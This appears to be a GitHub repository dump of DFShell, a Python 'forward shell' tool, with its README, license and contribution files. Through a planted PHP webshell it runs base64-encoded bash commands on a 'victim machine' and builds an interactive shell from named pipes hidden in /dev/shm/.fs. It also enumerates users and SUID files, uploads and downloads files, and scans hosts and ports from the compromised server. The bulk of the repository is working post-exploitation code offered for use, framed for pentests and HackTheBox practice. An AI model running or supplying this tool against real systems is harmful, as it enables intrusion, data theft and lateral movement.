├── .gitignore
├── CHANGELOG.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── dfshell.py
├── images
├── demo1.png
├── demo2.png
└── demo3.png
├── requirements.txt
└── webshell.php
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .vscode
3 |
--------------------------------------------------------------------------------
/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | - Update README.md
2 | - Add files via upload
3 | - Update README.md
4 | - Update README.md
5 | - Add files via upload
6 | - Update README.md
7 | - Add files via upload
8 | - Add files via upload
9 | - Update README.md
10 | - Add files via upload
11 | - Add files via upload
12 | - Update README.md
13 | - Add files via upload
14 | - Add files via upload
15 | - Update cve-2022-0847.c
16 | - Delete utils directory
17 | - Add files via upload
18 | - Add files via upload
19 | - Add files via upload
20 | - Update DFShell.py
21 | - Update DFShell.py
22 | - Update DFShell.py
23 | - Update DFShell.py
24 | - Update DFShell.py
25 | - Update DFShell.py
26 | - Update README.md
27 | - Delete test
28 | - Add files via upload
29 | - Create test
30 | - Update README.md
31 | - Add files via upload
32 | - Create webshell.php
33 | - Create requirements.txt
34 | - Update README.md
35 | - Initial commit
36 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as
6 | contributors and maintainers pledge to making participation in our project and
7 | our community a harassment-free experience for everyone, regardless of age, body
8 | size, disability, ethnicity, gender identity and expression, level of experience,
9 | education, socio-economic status, nationality, personal appearance, race,
10 | religion, or sexual identity and orientation.
11 |
12 | ## Our Standards
13 |
14 | Examples of behavior that contributes to creating a positive environment
15 | include:
16 |
17 | * Using welcoming and inclusive language
18 | * Being respectful of differing viewpoints and experiences
19 | * Gracefully accepting constructive criticism
20 | * Focusing on what is best for the community
21 | * Showing empathy towards other community members
22 |
23 | Examples of unacceptable behavior by participants include:
24 |
25 | * The use of sexualized language or imagery and unwelcome sexual attention or
26 | advances
27 | * Trolling, insulting/derogatory comments, and personal or political attacks
28 | * Public or private harassment
29 | * Publishing others' private information, such as a physical or electronic
30 | address, without explicit permission
31 | * Other conduct which could reasonably be considered inappropriate in a
32 | professional setting
33 |
34 | ## Our Responsibilities
35 |
36 | Project maintainers are responsible for clarifying the standards of acceptable
37 | behavior and are expected to take appropriate and fair corrective action in
38 | response to any instances of unacceptable behavior.
39 |
40 | Project maintainers have the right and responsibility to remove, edit, or
41 | reject comments, commits, code, wiki edits, issues, and other contributions
42 | that are not aligned to this Code of Conduct, or to ban temporarily or
43 | permanently any contributor for other behaviors that they deem inappropriate,
44 | threatening, offensive, or harmful.
45 |
46 | ## Scope
47 |
48 | This Code of Conduct applies both within project spaces and in public spaces
49 | when an individual is representing the project or its community. Examples of
50 | representing a project or community include using an official project e-mail
51 | address, posting via an official social media account, or acting as an appointed
52 | representative at an online or offline event. Representation of a project may be
53 | further defined and clarified by project maintainers.
54 |
55 | ## Enforcement
56 |
57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
58 | reported by contacting the project team at [d3ext@proton.me]. All
59 | complaints will be reviewed and investigated and will result in a response that
60 | is deemed necessary and appropriate to the circumstances. The project team is
61 | obligated to maintain confidentiality with regard to the reporter of an incident.
62 | Further details of specific enforcement policies may be posted separately.
63 |
64 | Project maintainers who do not follow or enforce the Code of Conduct in good
65 | faith may face temporary or permanent repercussions as determined by other
66 | members of the project's leadership.
67 |
68 | ## Attribution
69 |
70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
72 |
73 | [homepage]: https://www.contributor-covenant.org
74 |
75 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contributing to DFShell
2 |
3 | Contributions are welcomed! This document provides some basic guidelines for contributors.
4 |
5 | ## Found a bug?
6 |
7 | - Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.
8 | - Include the problem description in the issue.
9 |
10 | ## Pull Requests
11 |
12 | When creating a PR, please follow these guidelines:
13 |
14 | - Link your PR to the corresponding issue.
15 | - Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.
16 | - Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.
17 | - Include steps for functional testing or replication.
18 |
19 | ## Questions
20 |
21 | If you have any questions or need further guidance, please feel free to ask in the issue or PR, or reach out to the author via Discord: ***@d3ext***
22 |
23 | Thank you for your contribution!
24 |
25 | ## License
26 |
27 | By contributing your code, you agree to license your contribution under the terms of the [MIT License](https://github.com/D3Ext/DFShell/blob/main/LICENSE).
28 |
29 | All files are released with the MIT license.
30 |
31 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 D3Ext
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ```
2 | ██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
3 | ██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
4 | ██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
5 | ██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
6 | ██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
7 | ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
8 | ```
9 |
10 | # Introduction
11 |
12 | ***D3Ext's Forward Shell*** it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ where the fifos are stored. You can even simulate a TTY over the webshell.
13 |
14 | # Explanation
15 |
16 | This forward shell creates a shell that accepts commands via a ***Named Pipe (mkfifo)*** and outputs the results to a file. By doing this the shell does not require a persistent network connection so you can establish a proper TTY behind a firewall that blocks reverse/bind shells.
17 |
18 | 1. Create a named pipe on target server
19 | 2. Read and execute commands received from named pipe
20 | 3. Save STDOUT and STDERR to output file
21 | 4. Return to 2nd step and read from named pipe again
22 |
23 | # Features
24 |
25 | - Fast and configurable
26 | - Integrated powerful commands
27 | - Interactive TTY shell
28 |
29 | # Installation
30 |
31 | > Install from source
32 | ```sh
33 | git clone https://github.com/D3Ext/DFShell
34 | cd DFShell
35 | pip3 install -r requirements.txt
36 | ```
37 |
38 | > Install with pip
39 | ```sh
40 | pip3 install dfshell
41 | ```
42 |
43 | # Usage
44 |
45 | ***DFShell*** has a variety of CLI parameters to improve configuration of the forward shell.
46 |
47 | > Help panel
48 | ```
49 | usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
50 |
51 | D3Ext's Forward Shell - Enhanced forward shell with integrated commands
52 |
53 | optional arguments:
54 | -h, --help show this help message and exit
55 | -u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
56 | -p PARAMETER, --parameter PARAMETER
57 | parameter of the webshell to execute commands (i.e. cmd)
58 | -t TIMEOUT, --timeout TIMEOUT
59 | timeout of requests that execute commands (default 20s)
60 | --path PATH path in which to create named pipes (default /dev/shm/.fs)
61 | -v VERBOSE, --verbose VERBOSE
62 | print more information
63 | ```
64 |
65 | It sends GET requests to given URL, so the webshell should be something like this:
66 |
67 | ```php
68 |
74 | ```
75 |
76 | Tested on ***Parrot OS*** with an Apache server
77 |
78 | If you want to test this tool in controlled environments, here is a list of HackTheBox machines in which firewall rules are applied on web server, so forward shell is a great alternative to directly go through privilege escalation.
79 |
80 | - ***Inception***
81 | - ******
82 | - ******
83 | - ******
84 | - ******
85 |
86 | # Demo
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 | # References
95 |
96 | Thanks to @ippsec for this awesome technique
97 |
98 | ```
99 | https://github.com/IppSec/forward-shell
100 | https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
101 | https://www.f5.com/labs/learning-center/forward-and-reverse-shells
102 | https://github.com/Hypnoze57/FShell
103 | https://s4vitar.github.io/ttyoverhttp/
104 | ```
105 |
106 | # Contributing
107 |
108 | See [CONTRIBUTING.md](https://github.com/D3Ext/DFShell/blob/main/CONTRIBUTING.md)
109 |
110 | # Changelog
111 |
112 | See [CHANGELOG.md](https://github.com/D3Ext/DFShell/blob/main/CHANGELOG.md)
113 |
114 | # License
115 |
116 | This project is under MIT license
117 |
118 | Copyright © 2023, *D3Ext*
119 |
120 | # Support
121 |
122 |
123 |
124 |
125 |
126 |
--------------------------------------------------------------------------------
/dfshell.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # ------------------------------------
4 | # Github: https://github.com/D3Ext
5 | # Blog: https://d3ext.github.io
6 | # Discord: @d3ext
7 | # Twitter: @d3ext
8 | # ------------------------------------
9 |
10 | # Packages
11 | import requests
12 | import signal
13 | import sys
14 | import time
15 | import argparse, re
16 | from base64 import b64encode, b64decode
17 | from random import randrange
18 |
19 | # Katana banner
20 | global mybanner
21 | mybanner = '''\n /\ ______,....----,
22 | /VVVVVVVVVVVVVV|==================="""""""""""" ___,..-\'
23 | `^^^^^^^^^^^^^^|======================----------""""""
24 | \/ with <3 by D3Ext
25 | v0.2'''
26 |
27 | # Global Variables
28 | global pipes_path, infile, outfile, mod, command_to_exec, tty, user, hostname, requests_timeout
29 | mod = randrange(1, 9999)
30 |
31 | # Colors
32 | class c:
33 | PURPLE = '\033[95m'
34 | BLUE = '\033[94m'
35 | CYAN = '\033[96m'
36 | GREEN = '\033[92m'
37 | YELLOW = '\033[93m'
38 | RED = '\033[91m'
39 | END = '\033[0m'
40 | UNDERLINE = '\033[4m'
41 |
42 | # Ctrl + C Function
43 | def exit_handler(sig, frame):
44 | print(c.BLUE + "\n\n[" + c.YELLOW + "!" + c.BLUE + "] Interrupt handler received, exiting..." + c.END)
45 | removeFiles(url, parameter)
46 | sys.exit(0)
47 |
48 | signal.signal(signal.SIGINT, exit_handler)
49 |
50 | # Remove input and output files on exit
51 | def removeFiles(url, parameter):
52 | removeCommand = f"""rm -rf {pipes_path}"""
53 | base64command = b64encode(removeCommand.encode()).decode()
54 |
55 | removeData = {
56 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash'
57 | }
58 |
59 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Deleting named pipes..." + c.END)
60 | requests.get(url, params=removeData, timeout=requests_timeout)
61 |
62 | # Arguments parser function
63 | def parseArgs():
64 | p = argparse.ArgumentParser(description="D3Ext's Forward Shell - Enhanced forward shell with integrated commands")
65 | p.add_argument('-u', '--url', help="url of the webshell (i.e. http://10.10.10.10/webshell.php)", required=True)
66 | p.add_argument('-p', '--parameter', help="parameter of the webshell to execute commands (i.e. cmd)", required=True)
67 | p.add_argument('-t', '--timeout', help="timeout of requests that execute commands (default 20s)", type=int, default=20, required=False)
68 | p.add_argument('--path', help="path in which to create named pipes (default /dev/shm/.fs)", type=str, default="/dev/shm/.fs", required=False)
69 | p.add_argument('-v', '--verbose', help="print more information", required=False)
70 |
71 | return p.parse_args()
72 |
73 | # Check if url receives requests
74 | def checkConn(url):
75 | try:
76 | r = requests.get(url, timeout=4)
77 | if r.status_code == 200:
78 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Connection established succesfully!" + c.END)
79 | else:
80 | print(c.BLUE + "\n[" + c.YELLOW + "-" + c.BLUE + "] Connection refused!\n" + c.END)
81 | sys.exit(0)
82 | except:
83 | print(c.BLUE + "\n[" + c.YELLOW + "-" + c.BLUE + "] Connection refused!\n" + c.END)
84 | sys.exit(0)
85 |
86 | # Function to create the fifos on the victim (required to have an interactive tty)
87 | def createFifos(url, parameter):
88 |
89 | # Create directory with the files in {pipes_path}
90 | raw_command = f"""mkdir {pipes_path}"""
91 | execCommandWithoutFifos(url, parameter, raw_command)
92 |
93 | # Create input and output files under {pipes_path}
94 | try:
95 | raw_command = f"""mkfifo {infile}; tail -f {infile} | /bin/sh 2>&1 > {outfile}"""
96 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8')
97 |
98 | fifosData = {
99 | f'{parameter}': f'echo "{base64command}" | base64 -d | bash'
100 | }
101 |
102 | print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + f"""] Creating named pipes on target system under {pipes_path}/""" + c.END)
103 | requests.get(url, params=fifosData, timeout=4)
104 |
105 | except:
106 | None
107 |
108 | return None
109 |
110 | # Function to read the file with the executed commands
111 | def readCommand(url, parameter):
112 | raw_command = f"""/bin/cat {outfile}"""
113 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8')
114 |
115 | readData = {
116 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash'
117 | }
118 |
119 | r = requests.get(url, params=readData, timeout=requests_timeout)
120 |
121 | return r.text
122 |
123 | # Function to clear the output file with every command
124 | def clearOutput(url, parameter):
125 | raw_command = f"""echo '' > {outfile}"""
126 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8')
127 |
128 | clearData = {
129 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash'
130 | }
131 |
132 | requests.get(url, params=clearData, timeout=requests_timeout)
133 |
134 | # Function to execute commands after creating the fifos
135 | def execCommand(url, parameter, command):
136 | base64command = b64encode(command.encode('utf-8')).decode('utf-8')
137 |
138 | rce_data = {
139 | f"{parameter}": f'echo "{base64command}" | base64 -d > {infile}'
140 | }
141 |
142 | requests.get(url, params=rce_data, timeout=requests_timeout)
143 |
144 | # Function to execute especial commands without the fifos and returning them
145 | def execCommandWithoutFifos(url, parameter, command):
146 | base64command = b64encode(command.encode('utf-8')).decode('utf-8')
147 |
148 | rce_data = {
149 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash'
150 | }
151 |
152 | r = requests.get(url, params=rce_data, timeout=requests_timeout)
153 |
154 | return r.text
155 |
156 | # Function to check useful binaries on the victim
157 | def getBinaries(url, parameter):
158 | raw_command = """which ping nmap aws nc ncat netcat nc.traditional wget curl gcc make gdb base64 socat python python2 python3 python2.7 python3.7 perl php ruby xterm sudo docker lxc 2>/dev/null"""
159 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8')
160 |
161 | enum_data = {
162 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash'
163 | }
164 |
165 | r = requests.get(url, params=enum_data, timeout=requests_timeout)
166 |
167 | return r.text
168 |
169 | # Function to enumerate the system
170 | def enumSys(url, parameter):
171 | user = execCommandWithoutFifos(url, parameter, "whoami")
172 |
173 | hostname = execCommandWithoutFifos(url, parameter, "hostname")
174 |
175 | ip = execCommandWithoutFifos(url, parameter, "hostname -I")
176 |
177 | uname = execCommandWithoutFifos(url, parameter, "uname -a")
178 |
179 | id_output = execCommandWithoutFifos(url, parameter, "id")
180 |
181 | users = execCommandWithoutFifos(url, parameter, "ls /home")
182 | users = cleanHTML(users)
183 | users = users.strip('\n').replace('\n', ', ')
184 |
185 | path = execCommandWithoutFifos(url, parameter, "echo $PATH")
186 |
187 | sudo_version = execCommandWithoutFifos(url, parameter, """sudo --version 2>/dev/null | head -n 1 | awk '{print $NF}'""")
188 |
189 | return user, hostname, ip, uname, id_output, users, path, sudo_version
190 |
191 | # Function to upload files
192 | def uploadFile(url, parameter, file_to_upload):
193 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Uploading file to the server" + c.END)
194 | fileContent = open(file_to_upload, "r").read()
195 | base64file = b64encode(fileContent.encode()).decode()
196 | upload_command = f"""echo {base64file} | base64 -d > {pipes_path}/{file_to_upload}"""
197 |
198 | uploadData = {
199 | f"{parameter}": f"{upload_command}"
200 | }
201 |
202 | requests.get(url, params=uploadData, timeout=requests_timeout)
203 |
204 | time.sleep(1)
205 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + f"] {file_to_upload} uploaded successfully in {pipes_path}/{file_to_upload}\n" + c.END)
206 |
207 | # Function to download a file
208 | def downloadFile(url, parameter, file_to_download):
209 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Downloading file from server" + c.END)
210 | download_command = f"""base64 -w 0 {file_to_download}"""
211 | base64command = b64encode(download_command.encode()).decode()
212 |
213 | downloadData = {
214 | f"{parameter}": f"echo {base64command} | base64 -d | bash"
215 | }
216 |
217 | r = requests.get(url, params=downloadData, timeout=requests_timeout)
218 |
219 | time.sleep(1)
220 | fileContent = cleanHTML(r.text)
221 | fileContent = b64decode(fileContent).decode()
222 |
223 | stored_file = file_to_download.split('/')[-1]
224 | f = open(f"{stored_file}", "w")
225 | f.write(fileContent)
226 | f.close()
227 |
228 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + f"] File successfully downloaded as {stored_file}\n" + c.END)
229 |
230 | # Perform a basic ping sweep to detect active IPs
231 | def hostScan(url, parameter, ip):
232 |
233 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Performing host discovery, system must have 'ping' installed\n" + c.END)
234 | raw_command = """for number in $(seq 1 254); do timeout 1 bash -c "ping -c 1 %s.${number}" &>/dev/null && echo -e "%s.${number}" >> /dev/shm/.fs/logs.tmp & done""" % (ip, ip)
235 | base64command = b64encode(raw_command.encode()).decode()
236 |
237 | hostData = {
238 | f"{parameter}": f"echo {base64command} | base64 -d | bash"
239 | }
240 |
241 | r = requests.get(url, params=hostData, timeout=requests_timeout)
242 |
243 | raw_command = f"""cat {pipes_path}/logs.tmp"""
244 | base64command = b64encode(raw_command.encode()).decode()
245 |
246 | hostData = {
247 | f"{parameter}": f"echo {base64command} | base64 -d | bash"
248 | }
249 |
250 | r = requests.get(url, params=hostData, timeout=requests_timeout)
251 |
252 | data = cleanHTML(r.text)
253 | if data:
254 | print(c.YELLOW + "Hosts" + c.END)
255 | print(c.YELLOW + "-----" + c.END)
256 | print(data)
257 | else:
258 | print(c.BLUE + "[" + c.END + c.YELLOW + "-" + c.END + c.BLUE + "] No hosts discovered\n" + c.END)
259 |
260 | # Function to discover open ports on especified ip
261 | def portScan(url, parameter, ip):
262 |
263 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Starting port discovery, no requirements are needed\n" + c.END)
264 | raw_command = """for port in $(seq 1 5000); do timeout 1 bash -c "(echo '' > /dev/tcp/%s/${port})" 2>/dev/null && echo -e "${port}" & done""" % (ip)
265 | base64command = b64encode(raw_command.encode()).decode()
266 |
267 | portData = {
268 | f"{parameter}": f"echo {base64command} | base64 -d | bash"
269 | }
270 |
271 | r = requests.get(url, params=portData, timeout=requests_timeout)
272 |
273 | data = cleanHTML(r.text)
274 | if data:
275 | print(c.YELLOW + "Ports" + c.END)
276 | print(c.YELLOW + "-----" + c.END)
277 | print(data)
278 | else:
279 | print(c.BLUE + "[" + c.YELLOW + "-" + c.BLUE + "] No ports discovered\n" + c.END)
280 |
281 | # Clean RCE output
282 | def cleanHTML(out):
283 | clean = re.compile('<.*?>')
284 | cleanout = re.sub(clean, '', out)
285 | try:
286 | if tty == True:
287 | cleanout = cleanout.split(f'\x00{command_to_exec}')[1]
288 | cfile = open("/dev/shm/.clean", "w")
289 | cfile.write(cleanout)
290 | cfile.close()
291 |
292 | cleanout = open("/dev/shm/.clean", "r").read()
293 | cleanout = "\n".join(cleanout.split("\n")[:-1])
294 | except:
295 | pass
296 |
297 | return cleanout
298 |
299 | # Main Function
300 | if __name__ == '__main__':
301 |
302 | # Parse arguments and declare variables
303 | parser = parseArgs()
304 |
305 | url = parser.url
306 | parameter = parser.parameter
307 | verbose = parser.verbose
308 | requests_timeout = parser.timeout
309 | pipes_path = parser.path
310 |
311 | if pipes_path.endswith('/'):
312 | pipes_path = pipes_path[:-1]
313 |
314 | # Define named pipes files
315 | infile = f"{pipes_path}/input.{mod}"
316 | outfile = f"{pipes_path}/output.{mod}"
317 |
318 | # Print banner
319 | print(c.YELLOW + mybanner + c.END)
320 |
321 | # Check connections to the webshell
322 | checkConn(url)
323 |
324 | # Create an interactive shell
325 | createFifos(url, parameter)
326 | print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Gathering target information to establish an interactive shell..." + c.END)
327 |
328 | user = execCommandWithoutFifos(url, parameter, "whoami")
329 | hostname = execCommandWithoutFifos(url, parameter, "hostname")
330 |
331 | user = cleanHTML(user)
332 | hostname = cleanHTML(hostname)
333 |
334 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Type dfs-help to see custom commands\n" + c.END)
335 |
336 | customCommands = ["dfs-help", "dfs-enum", "dfs-exit", "dfs-binaries", "dfs-download", "dfs-upload", "dfs-hostscan", "dfs-portscan", "dfs-tty"]
337 |
338 | command_to_exec = ""
339 | first_command = False
340 |
341 | # Loop to execute commands
342 | while True:
343 | # Check if user has changed to update the shell prompt
344 | try:
345 | if command_to_exec == "sh":
346 | execCommand(url, parameter, "whoami" + "\n")
347 | user = readCommand(url, parameter)
348 | user = cleanHTML(user)
349 | user = user.split("whoami")[1][:-4].replace("\n", "").replace("\r", "")
350 | clearOutput(url, parameter)
351 |
352 | execCommand(url, parameter, "hostname" + "\n")
353 | hostname = readCommand(url, parameter)
354 | hostname = cleanHTML(hostname)
355 | hostname = hostname.split("hostname")[1][:-4].replace("\n", "").replace("\r", "")
356 | clearOutput(url, parameter)
357 |
358 | except:
359 | pass
360 |
361 | # Custom prompt
362 | if user == "root":
363 | command_to_exec = input(user.strip('\n') + "@" + hostname.strip('\n') + ":~# ")
364 | else:
365 | command_to_exec = input(user.strip('\n') + "@" + hostname.strip('\n') + ":~$ ")
366 |
367 | # Here check introduced commands
368 | if command_to_exec == "dfs-help":
369 | print(c.YELLOW + "\nCommands\t\tDescription" + c.END)
370 | print(c.YELLOW + "--------\t\t-----------" + c.END)
371 | print(c.BLUE + "dfs-tty\t\t\tupgrade your shell with an interactive TTY (recommended)" + c.END)
372 | print(c.BLUE + "dfs-enum\t\tenumerate potential privesc information on system (users, groups, system info...)" + c.END)
373 | print(c.BLUE + "dfs-upload\t\tupload a local file to remote server" + c.END)
374 | print(c.BLUE + "dfs-download\t\tdownload specified file from remote server" + c.END)
375 | print(c.BLUE + "dfs-binaries\t\tsearch common binaries that can be used during pentest" + c.END)
376 | print(c.BLUE + "dfs-hostscan\t\tscan active hosts in a valid range (i.e. 192.168.1)" + c.END)
377 | print(c.BLUE + "dfs-portscan\t\tscan 5000 most common ports of a ip (i.e. 192.168.1.1)" + c.END)
378 | print(c.BLUE + "dfs-exit\t\texit from forward shell and delete files created on remote server\n" + c.END)
379 |
380 | if command_to_exec == "dfs-tty":
381 | tty = True
382 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Creating a fully interactive TTY" + c.END)
383 |
384 | execCommand(url, parameter, """script /dev/null -c sh""" + "\n")
385 | clearOutput(url, parameter)
386 |
387 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Shell upgraded successfully\n" + c.END)
388 |
389 | if command_to_exec == "dfs-enum":
390 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Enumerating system, please wait a few seconds..." + c.END)
391 | user, hostname, ip, uname, id_output, users, path, sudo_version = enumSys(url, parameter)
392 |
393 | suid = execCommandWithoutFifos(url, parameter, """timeout 13 bash -c 'find / \-perm -4000 2>/dev/null'""")
394 |
395 | user = cleanHTML(user)
396 | hostname = cleanHTML(hostname)
397 | ip = cleanHTML(ip)
398 | uname = cleanHTML(uname)
399 | id_output = cleanHTML(id_output)
400 | users = cleanHTML(users)
401 | path = cleanHTML(path)
402 | sudo_version = cleanHTML(sudo_version)
403 | suid = cleanHTML(suid)
404 |
405 | print(c.YELLOW + "\nInformation" + c.END)
406 | print(c.YELLOW + "-----------" + c.END)
407 | print(c.BLUE + "Current user: " + user.strip('\n') + c.END)
408 | print(c.BLUE + "ID and groups: " + id_output.strip('\n') + c.END)
409 | print(c.BLUE + "Path: " + path.strip('\n') + c.END)
410 | print(c.BLUE + "Hostname: " + hostname.strip('\n') + c.END)
411 | print(c.BLUE + "IP: " + ip.strip('\n') + c.END)
412 | print(c.BLUE + "Users in /home: " + users + c.END)
413 | if sudo_version:
414 | print(c.BLUE + "Sudo version: " + sudo_version.strip('\n') + c.END)
415 | else:
416 | print(c.BLUE + "Sudo version: Not found" + c.END)
417 |
418 | print(c.BLUE + "System info: " + uname + c.END)
419 | print(c.YELLOW + "SUID Files" + c.END)
420 | print(c.YELLOW + "----------" + c.END)
421 | print(c.BLUE + suid + c.END)
422 |
423 | raw_command = """cat /proc/net/tcp | grep -v "sl" | awk '{print $3}' FS=":" | awk '{print $1}' | sort -u"""
424 | hex_ports = execCommandWithoutFifos(url, parameter, raw_command)
425 | hex_ports = cleanHTML(hex_ports)
426 |
427 | print(c.YELLOW + "Local ports" + c.END)
428 | print(c.YELLOW + "-----------" + c.END)
429 | for port in hex_ports.strip('\n').split('\n'):
430 | print(c.BLUE + str(int(port, 16)) + c.END)
431 | print('')
432 |
433 | if command_to_exec == "dfs-hostscan":
434 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Provide a valid ip range" + c.END)
435 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-hostscan 192.168.1\n" + c.END)
436 |
437 | try:
438 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-hostscan":
439 | ip = command_to_exec.split(' ')[1]
440 | hostScan(url, parameter, ip)
441 | except:
442 | pass
443 |
444 |
445 | if command_to_exec == "dfs-portscan":
446 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Provide a valid ip" + c.END)
447 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-portscan 192.168.1.2\n" + c.END)
448 |
449 | try:
450 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-portscan":
451 | ip = command_to_exec.split(' ')[1]
452 | portScan(url, parameter, ip)
453 | except:
454 | pass
455 |
456 | if command_to_exec == "dfs-binaries":
457 | binList = getBinaries(url, parameter)
458 | binList = cleanHTML(binList)
459 | print(c.YELLOW + "\nUseful Binaries" + c.END)
460 | print(c.YELLOW + "---------------" + c.END)
461 | print(c.BLUE + binList + c.END)
462 |
463 | # Upload panel and function
464 | if command_to_exec == "dfs-upload":
465 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-upload file.txt" + c.END)
466 | print(c.BLUE + "[" + c.YELLOW + "!" + c.BLUE + "] Doesn't work with binaries\n" + c.END)
467 |
468 | try:
469 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-upload":
470 | file_to_upload = command_to_exec.split(' ')[1]
471 | uploadFile(url, parameter, file_to_upload)
472 | except:
473 | pass
474 |
475 | # Download panel and function
476 | if command_to_exec == "dfs-download":
477 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-download /path/to/the/file" + c.END)
478 | print(c.BLUE + "[" + c.YELLOW + "!" + c.BLUE + "] Doesn't work with binaries\n" + c.END)
479 |
480 | try:
481 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-download":
482 | file_to_download = command_to_exec.split(' ')[1]
483 | downloadFile(url, parameter, file_to_download)
484 | except:
485 | pass
486 |
487 | if command_to_exec == "dfs-exit":
488 | print()
489 | removeFiles(url, parameter)
490 | print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Quitting from shell, bye!\n" + c.END)
491 | sys.exit(0)
492 |
493 | if command_to_exec.split(' ')[0] not in customCommands:
494 | # Execute especified command
495 | execCommand(url, parameter, command_to_exec + "\n")
496 |
497 | # Read command output
498 | resp = readCommand(url, parameter)
499 |
500 | # Print command output
501 | resp = cleanHTML(resp)
502 |
503 | if first_command == False:
504 | print()
505 |
506 |
507 | first_command = True
508 |
509 | # Check if dfs-tty has been executed
510 | try:
511 | if tty == True:
512 | print("\n" + resp.strip('\n') + "\n")
513 | except:
514 | print(resp)
515 |
516 | # Clear the file of the output
517 | clearOutput(url, parameter)
518 |
519 |
520 |
521 |
--------------------------------------------------------------------------------
/images/demo1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/DFShell/91da98a13c8284997fe2767079329c6a08d0108c/images/demo1.png
--------------------------------------------------------------------------------
/images/demo2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/DFShell/91da98a13c8284997fe2767079329c6a08d0108c/images/demo2.png
--------------------------------------------------------------------------------
/images/demo3.png:
--------------------------------------------------------------------------------
